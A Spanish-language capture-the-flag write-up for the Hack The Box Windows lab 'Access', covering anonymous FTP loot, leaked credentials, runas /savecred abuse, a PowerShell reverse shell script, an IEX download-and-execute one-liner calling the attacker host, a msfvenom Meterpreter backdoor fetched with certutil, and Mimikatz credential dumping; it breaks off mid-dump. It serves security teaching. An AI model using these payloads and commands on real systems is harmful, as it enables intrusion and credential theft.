Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • EnumeraciĂłn de puertos/servicios
  • EnumeraciĂłn del servicio FTP
  • Acceso inicial a la máquina
  • Análisis del acceso directo mal configurado
  • PreparaciĂłn de la reverse shell
  • Upgrade a sesiĂłn Meterpreter
  • Post-explotaciĂłn con Mimikatz (Kiwi)

Access

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

La máquina Access, plantea un escenario orientado a sistemas Windows en donde se combinan vectores clásicos de enumeración de servicios, análisis de archivos potencialmente sensibles y abuso de mecanismos de escalada de privilegios mal configurados. El reto propone un entorno realista en el que el atacante deberá identificar puntos de entrada a través de protocolos expuestos como FTP y Telnet.

Durante la fase inicial, se accede a una serie de recursos expuestos en un servidor FTP anónimo, entre los cuales se encuentran respaldos de software de control de acceso físico, correos archivados y bases de datos de tipo Microsoft Access. Estos archivos contienen información crucial para el reconocimiento de credenciales, así como detalles de configuración que permiten avanzar hacia una sesión remota por Telnet con un usuario de bajo privilegio. El análisis de los datos extraídos permite además descubrir contraseñas reutilizadas y credenciales almacenadas mediante DPAPI.

La escalada de privilegios se apoya en la identificación de accesos directos mal configurados y el uso indebido de la utilidad runas con credenciales previamente guardadas. Esto posibilita ejecutar comandos como administrador sin necesidad de conocer su contraseña, habilitando finalmente la ejecución de un payload de tipo Meterpreter para consolidar el acceso con privilegios elevados. A través de herramientas como Mimikatz, se revela además que es posible extraer la contraseña original del administrador, incluso cuando no es estrictamente necesaria para la obtención del flag final, cerrando así un ciclo completo de explotación basado en técnicas de post-explotación y extracción de secretos.

EnumeraciĂłn de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.134
📌 Parámetros
  • sCV:

    • -sC → Ejecuta scripts de detecciĂłn predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan informaciĂłn adicional en los puertos abiertos.

    • -sV → DetecciĂłn de versiones → Intenta identificar el software y su versiĂłn en los puertos abiertos.

  • -n → No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, Ăştil en redes rápidas.

  • -v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

EnumeraciĂłn del servicio FTP

Tenemos habilitado la sesiĂłn anonymous en FTP, asĂ­ que vamos a iniciar el ataque por allĂ­:

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM       <DIR>          Backups
08-24-18  10:00PM       <DIR>          Engineer
226 Transfer complete.
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  01:16AM                10870 Access Control.zip
226 Transfer complete.
ftp> cd ../Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM              5652480 backup.mdb
226 Transfer complete.

Encontramos el archivo Access Control.zip en la carpeta Engineer y el backup.mdb (una base de datos de Microsoft Access) en la carpeta Backups. Ahora vamos a descargar estos recursos, pero antes voy a activar el modo binary en FTP, por los siguientes motivos

📌¿Cómo funciona la transferencia de archivos en FTP?

Cuando estamos conectado a un servidor FTP, existen dos modos de transferencia de archivos:

  • ASCII mode (modo texto): Transfiere archivos como texto plano, adaptándolos al sistema operativo (por ejemplo, cambiando saltos de lĂ­nea). Es ideal para archivos de texto.

  • Binary mode (modo binario): Transfiere los datos tal cual, sin hacer ningĂşn cambio en los bytes. Es obligatorio para archivos binarios como bases de datos .mdb, archivos comprimidos .zip, imágenes, ejecutables, etc.

¿Qué pasa si no cambiamos al modo binario? Cuando descargamos archivos como backup.mdb o Access Control.zip usando el modo ASCII por defecto, el cliente FTP modifica los datos durante la transferencia (por ejemplo, cambia saltos de línea). Eso corrompe el archivo, y por eso después no podemos abrirlos correctamente en nuestro equipo local.

Entonces usando el comando binary le decimos al cliente FTP que a partir de ahora transfiera los archivos en modo binario.

📌¿Qué es una base de datos de Microsoft Access?

Microsoft Access es un sistema de gestión de bases de datos (DBMS) desarrollado por Microsoft, orientado a usuarios no técnicos y a pequeñas aplicaciones. Forma parte de la suite Microsoft Office.

CaracterĂ­sticas clave:

  • Usa un formato de archivo llamado .mdb (Microsoft Database) en versiones antiguas, y .accdb en las nuevas.

  • Contiene tablas, consultas, formularios, informes, macros y mĂłdulos.

  • Permite crear bases de datos relacionales visualmente sin necesidad de escribir SQL complejos.

  • Los archivos .mdb son bases de datos locales, es decir, el archivo en sĂ­ contiene todas las tablas y datos.

ftp> binary
200 Type set to I.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************|  5520 KiB  449.69 KiB/s    00:00 ETA
226 Transfer complete.
5652480 bytes received in 00:12 (449.68 KiB/s)
ftp> cd ../Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  01:16AM                10870 Access Control.zip
226 Transfer complete.
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************| 10870       15.26 KiB/s    00:00 ETA
226 Transfer complete.
10870 bytes received in 00:00 (15.25 KiB/s)

Al intentar abrir el Access Control.zip nos va a pedir una contraseña, lo más probable es que esta contraseña se encuentre en algún lugar de la base de datos backup.mdb. Entonces vamos a inspeccionar este elemento con mdb-tools.

📌 mdb-tools

La herramienta mdb-tools es un conjunto de utilidades de línea de comandos para interactuar con bases de datos Microsoft Access (.mdb) desde sistemas Unix/Linux (como Kali). Nos permite leer y exportar datos de archivos .mdb sin necesidad de tener Microsoft Office. Enumerar y examinar el contenido de un .mdb. Ver tablas, columnas, datos, incluso cuando no tenés la GUI de Access. Buscar credenciales u otra información sensible. Muchas veces estos archivos .mdb se usan para guardar configuraciones, usuarios, contraseñas o registros de aplicaciones internas (como en el CTF Access con ZKAccess).

Herramientas principales de mdb-tools

mdb-tables archivo.mdb → Lista las tablas dentro de la base de datos

mdb-schema archivo.mdb → Muestra el esquema (estructura) de la base de datos

mdb-export archivo.mdb tabla → Exporta una tabla completa en formato CSV

mdb-sql archivo.mdb → Permite ejecutar consultas SQL directamente sobre el .mdb

Vamos a listar las tablas:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# file backup.mdb 
backup.mdb: Microsoft Access Database

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group 
acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup 
acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception 
AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions 
base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption 
base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin 
DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp 
iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass 
LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange 
personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE 
USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates 
worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics 
acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein 
devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups 
OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader 
acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx                                                                                              

Vemos que son muchísimas tablas y están desordenadas, entonces primero le vamos a aplicar un filtro desde bash para listarlas y ordenarlas alfabéticamente, luego grepeamos con user para solamente quedarnos con aquellas que podrían tener credenciales de usuarios

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# mdb-tables backup.mdb | tr ' ' '\n' | sort
acc_antiback
acc_auxiliary
acc_door
acc_firstopen
[.....]
worktable_instantmsg
worktable_msgtype
worktable_usrmsg
ZKAttendanceMonthStatistics
                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# mdb-tables backup.mdb | tr ' ' '\n' | sort | grep user
auth_user
auth_user_groups
auth_user_user_permissions
userinfo_attarea

La tabla que nos interesa exportar es auth_user

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# mdb-export backup.mdb auth_user > mdb_creds.txt
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# ls
'Access Control.zip'   backup.mdb   mdb_creds.txt
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# cat mdb_creds.txt 
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

De esta forma pudimos encontrar las credenciales para acceder al "Access Control.zip"

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# 7z x "Access Control.zip" -paccess4u@security

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

Everything is Ok

Size:       271360
Compressed: 10870

Nota: el parámetro -p debe ir junto con las credenciales (sin espaciado) y el parámetro x (extract with full paths) es para indicarle que conserve las carpetas internas.

El contenido del archivo comprimido es el 'Access Control.pst'. Pero ¿qué es un archivo .pst? un archivo PST (Personal Storage Table) es utilizado por Microsoft Outlook para almacenar correos electrónicos, contactos, calendarios, tareas, etc. Es básicamente la base de datos personal del usuario de Outlook. Esto lo podemos constatar usando el comando file que se encarga de inspeccionar el archivo y mostrarnos el tipo de contenido según su cabecera. Luego, para extraer el contenido del archivo .pst voy a usar readpst que se encarga de convertir todos los correos y elementos en archivos .mbox, .eml o texto plano.

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# ls
'Access Control.pst'  'Access Control.zip'   backup.mdb   mdb_creds.txt
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# file "Access Control.pst" 
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# readpst "Access Control.pst" 
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

En este caso vamos a obtener un archivo Acces Control.mbox y al leerlo nos vamos a encontrar con un correo donde están filtradas las contraseñas

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# cat "Access Control.mbox"
From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--boundary-LibPST-iamunique-681832900_-_-"

----boundary-LibPST-iamunique-681832900_-_-
Content-Type: multipart/alternative;
        boundary="alt---boundary-LibPST-iamunique-681832900_-_-"

--alt---boundary-LibPST-iamunique-681832900_-_-
Content-Type: text/plain; charset="utf-8"

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

Regards,

John

--alt---boundary-LibPST-iamunique-681832900_-_-
Content-Type: text/html; charset="us-ascii"

<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40"><head><meta http-equiv=Content-Type content="text/html; charset=us-ascii"><meta name=Generator content="Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:0 0 0 0 0 0 0 0 0 0;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0in;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
a:link, span.MsoHyperlink
        {mso-style-priority:99;
        color:#0563C1;
        text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
        {mso-style-priority:99;
        color:#954F72;
        text-decoration:underline;}
p.msonormal0, li.msonormal0, div.msonormal0
        {mso-style-name:msonormal;
        mso-margin-top-alt:auto;
        margin-right:0in;
        mso-margin-bottom-alt:auto;
        margin-left:0in;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
span.EmailStyle18
        {mso-style-type:personal-compose;
        font-family:"Calibri",sans-serif;
        color:windowtext;}
.MsoChpDefault
        {mso-style-type:export-only;
        font-size:10.0pt;
        font-family:"Calibri",sans-serif;}
@page WordSection1
        {size:8.5in 11.0in;
        margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
        {page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>The password for the &#8220;security&#8221; account has been changed to 4Cc3ssC0ntr0ller.&nbsp; Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>
--alt---boundary-LibPST-iamunique-681832900_-_---

----boundary-LibPST-iamunique-681832900_-_---

Acceso inicial a la máquina

Estas credenciales nos van a servir para conectarnos al puerto 23 (Telnet) con la sesiĂłn del usuario security

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: security
password: 4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security> cd ..

C:\Users>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users

08/21/2018  11:31 PM    <DIR>          .
08/21/2018  11:31 PM    <DIR>          ..
08/24/2018  12:46 AM    <DIR>          Administrator
07/14/2009  05:57 AM    <DIR>          Public
08/23/2018  11:52 PM    <DIR>          security
               0 File(s)              0 bytes
               5 Dir(s)   3,350,585,344 bytes free

C:\Users>cd Public

C:\Users\Public>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\Public

07/14/2009  05:57 AM    <DIR>          .
07/14/2009  05:57 AM    <DIR>          ..
08/28/2018  07:51 AM    <DIR>          Desktop
07/14/2009  05:57 AM               174 desktop.ini
07/14/2009  06:06 AM    <DIR>          Documents
07/14/2009  05:57 AM    <DIR>          Downloads
07/14/2009  03:34 AM    <DIR>          Favorites
07/14/2009  05:57 AM    <DIR>          Libraries
07/14/2009  05:57 AM    <DIR>          Music
07/14/2009  05:57 AM    <DIR>          Pictures
07/14/2009  05:57 AM    <DIR>          Videos
               1 File(s)            174 bytes
              10 Dir(s)   3,350,585,344 bytes free

C:\Users\Public>cd Desktop

C:\Users\Public\Desktop>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\Public\Desktop

08/28/2018  07:51 AM    <DIR>          .
08/28/2018  07:51 AM    <DIR>          ..
07/14/2009  05:57 AM               174 desktop.ini
08/22/2018  10:18 PM             1,870 ZKAccess3.5 Security System.lnk
               2 File(s)          2,044 bytes
               2 Dir(s)   3,350,585,344 bytes free

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows���:�▒M�:*wWindowsV1MV�System32���:�▒MV�*�System32▒X2P�:�
              runas.exe���:1��:1�*Yrunas.exe▒L-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
                                                                           �wN�▒�]N�D.��Q���`�Xaccess�_���8{E�3
                  O�j)�H���
                           )ΰ[�_���8{E�3
                                        O�j)�H���
                                                 )ΰ[�   ��1SPS��XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500

Análisis del acceso directo mal configurado

Después de recorrer todos los directorios y revisar los ficheros, nos vamos a encontrar con el siguiente archivo .lnk C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk Si lo inspeccionamos con type vamos a ver residuos binarios, ya que los archivos con esta extensión están en formato estructurado, no en texto plano. Sin embargo hay algunas partes legibles que nos dan las siguientes pistas:

Se usa runas.exe con /user:ACCESS\Administrator /savecred: runas.exe /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe". Esto nos indica que el acceso directo se ejecuta como Administrator con credenciales guardadas en /savecred. También nos indica la ruta del ejecutable del software: C:\ZKTeco\ZKAccess3.5\Access.exe. Entonces, con esta información sabemos que el administrador guardó credenciales usando /savecred, y las usa para ejecutar el software ZKAccess como ACCESS\Administrator. Esto permite que ejecutemos cualquier comando como administrador de la siguiente forma: runas /user:ACCESS\Administrator /savecred "comando"

PreparaciĂłn de la reverse shell

Siguiente paso: obtener nuestra reverse shell. El payload que vamos a cargar en la sesion del usuario security es el siguiente:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# cat shell.ps1         
$client = New-Object System.Net.Sockets.TCPClient("ip_atacante",port_listener);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "# ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

En "ip_atacante" ponemos nuestra ip, y en port_listener, el puerto donde recibiremos la reverse shell. Para que la reverse shell funcione tenemos que seguir estos pasos:

  • Dejar levantado el listener en el puerto que configuramos con nc -lvnp port

  • En otra shell levantar un servidor con python desde el directorio donde guardamos el payload con python3 -m http.server 80

  • En la sesiĂłn del usuario security ejecutar este oneliner:

C:\temp>runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/payload.ps1')"
📌 Desglose del comando

runas /user:ACCESS\Administrator /savecred

  • runas → comando de Windows para ejecutar un programa como otro usuario.

  • /user:ACCESS\Administrator → indica que el programa se ejecutará como el usuario Administrator del dominio o equipo ACCESS.

  • /savecred → usa credenciales guardadas previamente.

  • powershell → llama al intĂ©rprete de PowerShell.

  • -c o -Command → le dice a PowerShell que lo que sigue es un comando para ejecutar directamente.

  • IEX = Invoke-Expression → ejecuta cualquier texto como cĂłdigo PowerShell.

  • (New-Object Net.WebClient).DownloadString('http://10.10.14.7/payload.ps1')

    • New-Object Net.WebClient → crea un cliente web que puede hacer peticiones HTTP.

    • .DownloadString(...) → descarga el contenido del archivo en texto plano desde el servidor web que levantaste en tu Kali con python3 -m http.server

    • Devuelve una cadena de texto (el contenido de payload.ps1), que luego IEX ejecuta como cĂłdigo PowerShell.

Resultado:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# nc -lnvp 4444            
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.98] 49175
whoami
access\administrator 
PS C:\Windows\system32> type /Users/security/Desktop/user.txt
3739f70*************************
PS C:\Windows\system32> type /Users/administrator/Desktop/root.txt
fbcfff4*************************

Upgrade a sesiĂłn Meterpreter

Como vimos antes, podemos ejecutar runas como Administrador, eso significa que sus credenciales están almacenadas en algún lugar de la máquina, así que vamos a recuperarlas para simplemente extraer la contraseña y luego iniciar sesión como él. Para obtener estas credenciales vamos a seguir estos pasos:

  • Setear un payload con msfvenom que luego cargaremos en la sesiĂłn del usuario security con python http.server

  • Configurar el listener en msfconsole para recibir la conexiĂłn del usuario administrator

  • Ejecutar el payload usando runas para capturar la sesiĂłn del administrador

  • Una vez que tenemos la reverse shell en meterpreter preparamos el mĂłdulo kiwi (mimikatz) para dumpear todas las credenciales de los usuarios del sistema.

Payload setings:

┌──(root㉿kali)-[/home/…/Documents/HTB/ACCES/kiwi]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1338 -f exe -o backdoor.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backdoor.exe

Levantamos un servidor con python para compartir el payload backdoor.exe al equipo windows

┌──(root㉿kali)-[/home/…/Documents/HTB/ACCES/kiwi]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.98 - - [01/May/2025 21:12:24] "GET /backdoor.exe HTTP/1.1" 200 -

En la sesiĂłn del usuario security descargamos el payload backdoor.exe usando certutil

C:\Users\security>certutil -urlcache -split -f "http://10.10.14.7/backdoor.exe" "C:\Users\security\backdoor.exe"

****  Online  ****
  0000  ...
  1c00
CertUtil: -URLCache command completed successfully.

C:\Users\security>C:\Users\security>dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\security

05/02/2025  02:03 AM    <DIR>          .
05/02/2025  02:03 AM    <DIR>          ..
08/24/2018  08:37 PM    <DIR>          .yawcam
05/02/2025  02:03 AM             7,168 backdoor.exe
08/21/2018  11:35 PM    <DIR>          Contacts
08/28/2018  07:51 AM    <DIR>          Desktop
08/21/2018  11:35 PM    <DIR>          Documents
08/21/2018  11:35 PM    <DIR>          Downloads
08/21/2018  11:35 PM    <DIR>          Favorites
08/21/2018  11:35 PM    <DIR>          Links
08/21/2018  11:35 PM    <DIR>          Music
08/21/2018  11:35 PM    <DIR>          Pictures
05/02/2025  01:43 AM                 0 runas
08/21/2018  11:35 PM    <DIR>          Saved Games
08/21/2018  11:35 PM    <DIR>          Searches
08/24/2018  08:39 PM    <DIR>          Videos
               2 File(s)          7,168 bytes
              14 Dir(s)   3,347,546,112 bytes free

Seteamos el listener en msfconsole

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 1338
lport => 1338
msf6 exploit(multi/handler) > set lhost 10.10.14.7
lhost => 10.10.14.7
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.7:1338 
[*] Sending stage (203846 bytes) to 10.10.10.98

Ejecutamos el payload con runas

C:\Users\security>runas /user:ACCESS\Administrator /savecred "C:\Users\security\backdoor.exe"

Post-explotaciĂłn con Mimikatz (Kiwi)

Aplicamos el mĂłdulo kiwi para dumpear las credenciales del sistema:

🥝 Explicación de los comandos de Kiwi

load kiwi → este comando carga la extensión kiwi, que integra las capacidades de Mimikatz dentro de Meterpreter.

  • Mimikatz es una herramienta para interactuar con el proceso lsass.exe y extraer credenciales, tickets Kerberos y más.

  • Al cargar kiwi, tenĂ©s acceso a comandos como creds_all, kerberos_ticket_list, etc., directamente desde Meterpreter.

creds_all → este comando extrae todas las credenciales disponibles en memoria del proceso lsass. Incluye:

  • Hashes NTLM (para Pass-the-Hash)

  • Contraseñas en texto claro (si están en memoria)

  • Tickets Kerberos

  • Y más, segĂşn los proveedores de autenticaciĂłn cargados

⚠️ Nota: al principio cuando intento ejecutar el comando creds_all me sale el siguiente mensaje de error [!] Not running as SYSTEM, execution may fail. Esto ocurre porque para acceder completamente a lsass, necesitamos privilegios de NT AUTHORITY\SYSTEM.

getsystem → este comando intenta escalar privilegios desde Administrator a SYSTEM usando varias técnicas (como Named Pipe Impersonation, token duplication, etc.). En nuestro caso funcionó: ...got system via technique 1 (Named Pipe Impersonation)

getuid → confirmamos que ahora estamos como NT AUTHORITY\SYSTEM, lo cual nos da acceso pleno al sistema.

creds_all (con SYSTEM activo) → ejecutamos creds_all con privilegios elevados, lo que permite que kiwi extraiga toda la información sensible de memoria. Y a continuación nos lista las credenciales:

  • wdigest credentials → contiene contraseñas en texto claro, si el sistema las almacena con WDigest habilitado (por defecto en Windows ≤ 2012/Win7). Este es el gran hallazgo del CTF, y la respuesta a la pregunta: "What is the administrator's password?"

  • tspkg credentials → otro proveedor que puede almacenar contraseñas en texto claro o cifradas (menos usado, pero aĂşn relevante). En este caso, duplica lo de wdigest.

  • kerberos credentials → aquĂ­ vemos contraseñas o tickets Kerberos asociados a usuarios activos. Nuevamente, aparecen en texto claro.

[*] Sending stage (203846 bytes) to 10.10.10.98
[*] Meterpreter session 1 opened (10.10.14.7:1338 -> 10.10.10.98:49163) at 2025-05-01 21:20:56 -0400
meterpreter > getuid
Server username: ACCESS\Administrator
meterpreter > shell
Process 1320 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
access\administrator

C:\Windows\system32>exit
exit

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all
[!] Not running as SYSTEM, execution may fail
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
